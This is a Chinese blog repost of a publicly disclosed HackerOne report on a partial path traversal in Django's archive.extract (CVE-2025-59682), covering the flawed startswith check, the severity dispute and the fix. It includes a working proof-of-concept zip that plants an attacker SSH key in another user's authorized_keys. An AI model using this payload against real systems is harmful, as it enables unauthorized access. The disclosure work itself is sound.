Django CVE-2025-59682:通过archive.extract实现的部分路径遍历漏洞分析与补丁演进

本文深入分析了Django框架中因CVE-2021-3281补丁不完整而引发的部分路径遍历漏洞(CVE-2025-59682)。报告详细阐述了漏洞成因、复现步骤、提供的概念验证代码以及官方的最终修复方案,并讨论了关于漏洞严重性的评估争议。

漏洞报告 #3328367 - 通过 archive.extract 的路径遍历 - CVE 2021-3281 补丁不完整

时间线

stackered(已完成ID验证的黑客)向 Django 提交了一份报告。 2025年9月5日,下午1:21(UTC)

大家好, 在对之前的漏洞补丁进行代码审查时,我发现针对 CVE-2021-3281 的修复是不完整的。提醒一下,为了缓解该漏洞,在 ZipArchive 和 TarArchive 类的 extract 函数中添加了以下防护逻辑,以确保所有文件都在基础文件夹(target_path)下解压。

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

abspath 函数用于获取绝对且规范化的唯一路径。然后,利用 startswith 函数验证目标路径是否在预期的基础文件夹内。然而,abspath 函数会移除路径末尾的分隔符,这使得防护逻辑不足以防范部分路径遍历。

假设基础文件夹定义为 /var/lib/,初始文件名为 /var/library/test.txt。由于尾部斜杠被移除,攻击者仍然可以通过部分路径遍历到另一个以相同字符开头的目录,因为这能通过检查。

1
"/var/library/test.txt".startswith("/var/lib") == true

例如,在 Python CLI 中执行以下代码行并不会引发预期的异常。

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
   raise Exception

现实世界中此类部分路径遍历漏洞的案例可以在此处找到。

影响 这导致了一个部分路径遍历漏洞,使得攻击者在解压归档文件(tar 和 zip)时可以将文件写入基础目录之外。

nessita(Django 员工) 发表评论。 2025年9月11日,下午3:53(UTC)

你好, 感谢您的报告。我们将进行调查并尽快给您回复。在此期间,请对这些信息保密。 如果您尚未查阅,请查看 Django 安全团队评估报告的方式:https://docs.djangoproject.com/en/dev/internals/security/。 请注意,完成分析可能需要几周时间。除非您发现了新的相关信息,否则无需催促安全团队。所有报告的目标都是在行业标准的 90 天内解决。 此致,Django 安全团队。

theorangeone(Django 员工) 将状态更改为 需要更多信息2025年9月16日,上午11:29(UTC)

感谢您的报告!但是,我们自己无法复现该问题。您能否提供一个使用 Django 工具并展示利用的 PoC?希望我们能利用它来复现并解决问题。

stackered 将状态更改为 2025年9月16日,下午1:28(UTC)

当然,这里有一个使用目标 Django 函数的功能性 PoC。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import zipfile
from django.utils.archive import *

zip_path = "malicious.zip"

def create_malicious_zip():
    with zipfile.ZipFile(zip_path, "w") as zf:
        zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
        zf.writestr("test.txt", "Test\n")
    print(f"Archive {zip_path} has been successfully created")

def extract_archive():
    archive = ZipArchive(zip_path)
    archive.extract("/home/john")

if __name__ == "__main__":
    create_malicious_zip()
    extract_archive()

在 /home 目录下创建两个目录(john 和 johnny),并由运行 PoC 的同一用户可写。 即使目标解压目录设置为 /home/john,这也会添加(如果不存在则创建)攻击者的 ssh 密钥到 /home/johnny/.ssh/authorized_keys。

sarahvboyce(Django 员工) 将严重性从中等(5.3)更新为低(3.7)。 2025年9月18日,上午10:04(UTC)

要让此攻击生效,攻击者必须知道用户将通过 startapp --template 等在哪个目录进行解压。

sarahvboyce(Django 员工) 将状态更改为 已分类2025年9月18日,上午10:09(UTC)

感谢您的报告和进一步的信息。拥有第二个文件对于复现问题很重要。 我们已经确认了该漏洞,并已请求 CVE。 我附上了我们提议的缓解解决方案。您能否测试一下这个补丁,以确保它能可靠地修复问题? 0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch (F4798484) 我们计划在一篇博客文章中提及漏洞的发现者。“stackered"可以吗?或者您希望使用其他署名方式? 包含此修复的 Django 版本目前计划于 10 月发布。在更新版本发布之前,请对此保密。 再次感谢!

附件 1 个附件 F4798484:0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch

stackered 发表评论。 2025年9月18日,下午1:21(UTC)

您好, 感谢您的回复。很高兴你们能够复现该问题。 是的,拥有第二个文件对于让 has_leading_dir 函数返回 False 很重要。 我审查了补丁,它确实解决了问题。 Stackered 作为署名可以,谢谢。 然而,我只是想与您分享一下我对于严重性的看法。实际上,您是对的,攻击者必须知道解压文件将被放置在哪个目录。但是,通过拦截和分析请求来猜测通常并不困难。此外,应用程序可能是开源的,在这种情况下,目录将很容易被识别。最后,在某些应用中,解压目录甚至可能由攻击者控制。正是出于这些原因,我将严重性评估为中等。

stackered 发表评论。 2025年9月24日,下午12:57(UTC)

您好,您是否考虑过根据我之前的留言修改该漏洞的严重性?

sarahvboyce(Django 员工) 发表评论。 2025年9月24日,下午1:48(UTC)

感谢您对补丁的审查。该漏洞已分配 CVE-2025-59682,计划于 10 月 1 日发布修复版本。 请继续对此保密。 关于严重性,我们维持当前的评估。 archive.extract 是一个未记录的方法,因此根据我们的安全策略,通常不在范围内:https://docs.djangoproject.com/en/5.2/internals/security/#code-under-test-must-feasibly-exist-in-a-django-project

Django 包含许多私有的、未公开的函数,这些并非其公共 API 的一部分。如果一个漏洞依赖于直接以不安全的方式调用这些内部函数,则不会被视为有效的安全问题。

但是,我们需要确保 Django 本身以安全的方式使用这些未记录的方法。这将其范围缩小到 python manage.py startproject/app --template 中使用的 archive.extract。这些是开发者在设置项目时运行的命令。它们不用于已部署的应用程序中,因此您提出的建议不适用。

stackered 发表评论。 2025年9月24日,下午2:08(UTC)

好的,谢谢您提供的信息。下次在评估漏洞是否可能存在于 Django 项目中时,我们会更加小心。

jacobtylerwalls(Django 员工) 关闭了报告并将状态更改为 已解决2025年10月2日,上午12:49(UTC)

此问题已于 10 月 1 日在 Django 版本 5.2.7、5.1.13 和 4.2.25 中修复。

互联网漏洞赏金计划 决定此报告不符合获得赏金的条件。 2025年11月11日,下午7:22(UTC)

我们无法在此分配金钱奖励。如果您希望获得奖励,请按照 https://hackerone.com/ibb 上的说明将漏洞提交给互联网漏洞赏金计划。

stackered 请求公开此报告。 13天前

jacobtylerwalls(Django 员工) 同意公开此报告。 13天前

此报告已公开。 13天前

报告于 2025年9月5日,下午1:21(UTC) 报告者 stackered 报告给 Django

参与者

报告 ID #3328367 状态 已解决 严重性 低 (3.7) 公开日期 2025年11月21日,下午7:05(UTC) 弱点 路径遍历 CVE ID CVE-2021-3281 赏金 隐藏 账户详情

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计